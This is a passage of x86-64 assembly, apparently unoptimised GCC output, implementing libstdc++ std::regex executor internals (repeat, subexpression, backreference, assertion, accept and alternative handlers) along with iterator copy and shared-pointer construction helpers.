_ZSt12__miter_baseIN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEEET_SD_ mov rcx, rax mov rax, QWORD PTR [rbp-40] mov rdx, rax mov rsi, rbx mov rdi, rcx call _ZSt14__copy_move_a2ILb0EN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEENS1_IPS6_SB_EEET1_T0_SG_SF_ add rsp, 40 pop rbx pop rbp ret _ZSt8_DestroyIN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEES6_EvT_SC_RSaIT0_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt8_DestroyIN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEEEvT_SC_ nop leave ret _ZSt4copyIPNSt7__cxx119sub_matchIPKcEES5_ET0_T_S7_S6_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt12__miter_baseIPNSt7__cxx119sub_matchIPKcEEET_S6_ mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt12__miter_baseIPNSt7__cxx119sub_matchIPKcEEET_S6_ mov rcx, rax mov rax, QWORD PTR [rbp-40] mov rdx, rax mov rsi, rbx mov rdi, rcx call _ZSt14__copy_move_a2ILb0EPNSt7__cxx119sub_matchIPKcEES5_ET1_T0_S7_S6_ add rsp, 40 pop rbx pop rbp ret _ZSt22__uninitialized_copy_aIPNSt7__cxx119sub_matchIPKcEES5_S4_ET0_T_S7_S6_RSaIT1_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov QWORD PTR [rbp-32], rcx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZSt18uninitialized_copyIPNSt7__cxx119sub_matchIPKcEES5_ET0_T_S7_S6_ leave ret _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EE10_M_visitedEl: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov eax, 0 pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_handle_repeatENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+24] xor eax, 1 test al, al je .L1401 mov rdx, QWORD PTR [rbp-40] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_rep_once_moreENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+116] xor eax, 1 test al, al je .L1403 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl jmp .L1403 .L1401: mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+116] xor eax, 1 test al, al je .L1403 mov rdx, QWORD PTR [rbp-40] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_rep_once_moreENS9_11_Match_modeEl .L1403: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE23_M_handle_subexpr_beginENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 64 mov QWORD PTR [rbp-40], rdi mov eax, esi mov QWORD PTR [rbp-56], rdx mov BYTE PTR [rbp-44], al mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-56] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rdx+16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-44] mov rax, QWORD PTR [rbp-40] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax], rdx nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE21_M_handle_subexpr_endENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 80 mov QWORD PTR [rbp-56], rdi mov eax, esi mov QWORD PTR [rbp-72], rdx mov BYTE PTR [rbp-60], al mov rax, QWORD PTR [rbp-56] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-72] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rdx+16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov QWORD PTR [rbp-16], rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rcx] mov rdx, QWORD PTR [rcx+8] mov QWORD PTR [rbp-48], rax mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rcx+16] mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-16] mov BYTE PTR [rax+16], 1 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-60] mov rax, QWORD PTR [rbp-56] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl lea rdx, [rbp-48] mov rax, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx119sub_matchIPKcEaSERKS3_ nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE30_M_handle_line_begin_assertionENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_M_at_beginEv test al, al je .L1408 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl .L1408: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE28_M_handle_line_end_assertionENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE9_M_at_endEv test al, al je .L1411 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl .L1411: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE23_M_handle_word_boundaryENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_word_boundaryEv mov edx, eax mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+24] xor eax, 1 cmp dl, al sete al test al, al je .L1414 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl .L1414: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE27_M_handle_subexpr_lookaheadENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE12_M_lookaheadEl mov edx, eax mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+24] xor eax, 1 cmp dl, al sete al test al, al je .L1417 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl .L1417: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE15_M_handle_matchENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+40] cmp rdx, rax je .L1421 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+24] movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-8] mov esi, edx mov rdi, rax call _ZNKSt8__detail6_StateIcE10_M_matchesEc test al, al je .L1418 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+24] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+24] lea rdx, [rax-1] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+24], rdx jmp .L1418 .L1421: nop .L1418: leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE17_M_handle_backrefENS9_11_Match_modeEl: push rbp mov rbp, rsp push rbx sub rsp, 104 mov QWORD PTR [rbp-88], rdi mov eax, esi mov QWORD PTR [rbp-104], rdx mov BYTE PTR [rbp-92], al mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-104] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rdx+16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-48] movzx eax, BYTE PTR [rax+16] xor eax, 1 test al, al jne .L1429 mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+24] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-48] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-32], rax .L1426: mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+40] cmp QWORD PTR [rbp-24], rax je .L1425 mov rax, QWORD PTR [rbp-48] mov rax, QWORD PTR [rax+8] cmp QWORD PTR [rbp-32], rax je .L1425 add QWORD PTR [rbp-24], 1 add QWORD PTR [rbp-32], 1 jmp .L1426 .L1425: mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+48] add rax, 16 mov rdi, rax call _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv lea rbx, [rax+80] mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+48] mov rdi, rax call _ZNKSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEE5flagsEv mov esi, 1 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al movzx ecx, al lea rax, [rbp-80] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail16_Backref_matcherIPKcNSt7__cxx1112regex_traitsIcEEEC1EbRKS5_ mov rax, QWORD PTR [rbp-88] mov rcx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-48] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-48] mov rsi, QWORD PTR [rax] mov rdi, QWORD PTR [rbp-24] lea rax, [rbp-80] mov r8, rdi mov rdi, rax call _ZNSt8__detail16_Backref_matcherIPKcNSt7__cxx1112regex_traitsIcEEE8_M_applyES2_S2_S2_S2_ test al, al je .L1422 mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+24] cmp QWORD PTR [rbp-24], rax je .L1427 mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+24] mov QWORD PTR [rbp-56], rax mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-92] mov rax, QWORD PTR [rbp-88] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-56] mov QWORD PTR [rax+24], rdx jmp .L1422 .L1427: mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-92] mov rax, QWORD PTR [rbp-88] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl jmp .L1422 .L1429: nop .L1422: add rsp, 104 pop rbx pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_handle_acceptENS9_11_Match_modeEl: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al cmp BYTE PTR [rbp-28], 0 jne .L1431 mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+40] cmp rdx, rax sete dl mov rax, QWORD PTR [rbp-24] mov BYTE PTR [rax+116], dl jmp .L1432 .L1431: mov rax, QWORD PTR [rbp-24] mov BYTE PTR [rax+116], 1 .L1432: mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+32] cmp rdx, rax jne .L1433 mov rax, QWORD PTR [rbp-24] mov eax, DWORD PTR [rax+112] mov esi, 32 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L1433 mov eax, 1 jmp .L1434 .L1433: mov eax, 0 .L1434: test al, al je .L1435 mov rax, QWORD PTR [rbp-24] mov BYTE PTR [rax+116], 0 .L1435: mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+116] test al, al je .L1430 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] mov eax, DWORD PTR [rax+24] mov esi, 16 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al test al, al je .L1437 mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+64] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEaSERKS6_ jmp .L1430 .L1437: mov rax, QWORD PTR [rbp-24] add rax, 96 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EE14_M_get_sol_posEv mov rax, QWORD PTR [rax] test rax, rax je .L1438 mov rax, QWORD PTR [rbp-24] add rax, 96 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EE14_M_get_sol_posEv mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+32] mov rsi, rdx mov rdi, rax call _ZSt8distanceIPKcENSt15iterator_traitsIT_E15difference_typeES3_S3_ mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+32] mov rsi, rdx mov rdi, rax call _ZSt8distanceIPKcENSt15iterator_traitsIT_E15difference_typeES3_S3_ cmp rbx, rax jge .L1439 .L1438: mov eax, 1 jmp .L1440 .L1439: mov eax, 0 .L1440: test al, al je .L1430 mov rax, QWORD PTR [rbp-24] mov rbx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-24] add rax, 96 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EE14_M_get_sol_posEv mov QWORD PTR [rax], rbx mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+64] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEaSERKS6_ .L1430: add rsp, 40 pop rbx pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE21_M_handle_alternativeENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] mov eax, DWORD PTR [rax+24] mov esi, 16 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al test al, al je .L1442 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+116] xor eax, 1 test al, al je .L1444 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl jmp .L1444 .L1442: mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+116] mov BYTE PTR [rbp-9], al mov rax, QWORD PTR [rbp-24] mov BYTE PTR [rax+116], 0 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+116] or al, BYTE PTR [rbp-9] mov edx, eax mov rax, QWORD PTR [rbp-24] mov BYTE PTR [rax+116], dl .L1444: nop leave ret _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EEC2INSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS9_EJRKSt6localeRNSt15regex_constants18syntax_option_typeEEEERPT_St20_Sp_alloc_shared_tagIT0_EDpOT1_: push rbp mov rbp, rsp push r15 push r14 push r13 push r12 push rbx sub rsp, 104 mov QWORD PTR [rbp-104], rdi mov QWORD PTR [rbp-112], rsi mov QWORD PTR [rbp-120], rdx mov QWORD PTR [rbp-128], rcx mov QWORD PTR [rbp-136], r8 mov rdx, QWORD PTR [rbp-120] lea rax, [rbp-66] mov rsi, rdx mov rdi, rax call _ZNSaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EEEC1IS5_EERKSaIT_E lea rax, [rbp-96] lea rdx, [rbp-66] mov rsi, rdx mov rdi, rax call _ZSt18__allocate_guardedISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEESt15__allocated_ptrIT_ERSD_ lea rax, [rbp-96] mov rdi, rax call _ZNSt15__allocated_ptrISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEE3getEv mov QWORD PTR [rbp-56], rax mov rdx, QWORD PTR [rbp-120] lea rax, [rbp-65] mov rsi, rdx mov rdi, rax call _ZNSaINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC1ERKS5_ lea r13, [rbp-65] mov rax, QWORD PTR [rbp-128] mov rdi, rax call _ZSt7forwardIRKSt6localeEOT_RNSt16remove_referenceIS3_E4typeE mov r14, rax mov rax, QWORD PTR [rbp-136] mov rdi, rax call _ZSt7forwardIRNSt15regex_constants18syntax_option_typeEEOT_RNSt16remove_referenceIS3_E4typeE mov r15, rax mov r12, QWORD PTR [rbp-56] mov rsi, r12 mov edi, 104 call _ZnwmPv mov rbx, rax mov rcx, r15 mov rdx, r14 mov rsi, r13 mov rdi, rbx call _ZNSt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EEC1IJRKSt6localeRNSt15regex_constants18syntax_option_typeEEEES6_DpOT_ mov QWORD PTR [rbp-64], rbx lea rax, [rbp-65] mov rdi, rax call _ZNSaINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED1Ev lea rax, [rbp-96] mov esi, 0 mov rdi, rax call _ZNSt15__allocated_ptrISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEEaSEDn mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rbp-64] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNSt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EE6_M_ptrEv mov rdx, rax mov rax, QWORD PTR [rbp-112] mov QWORD PTR [rax], rdx lea 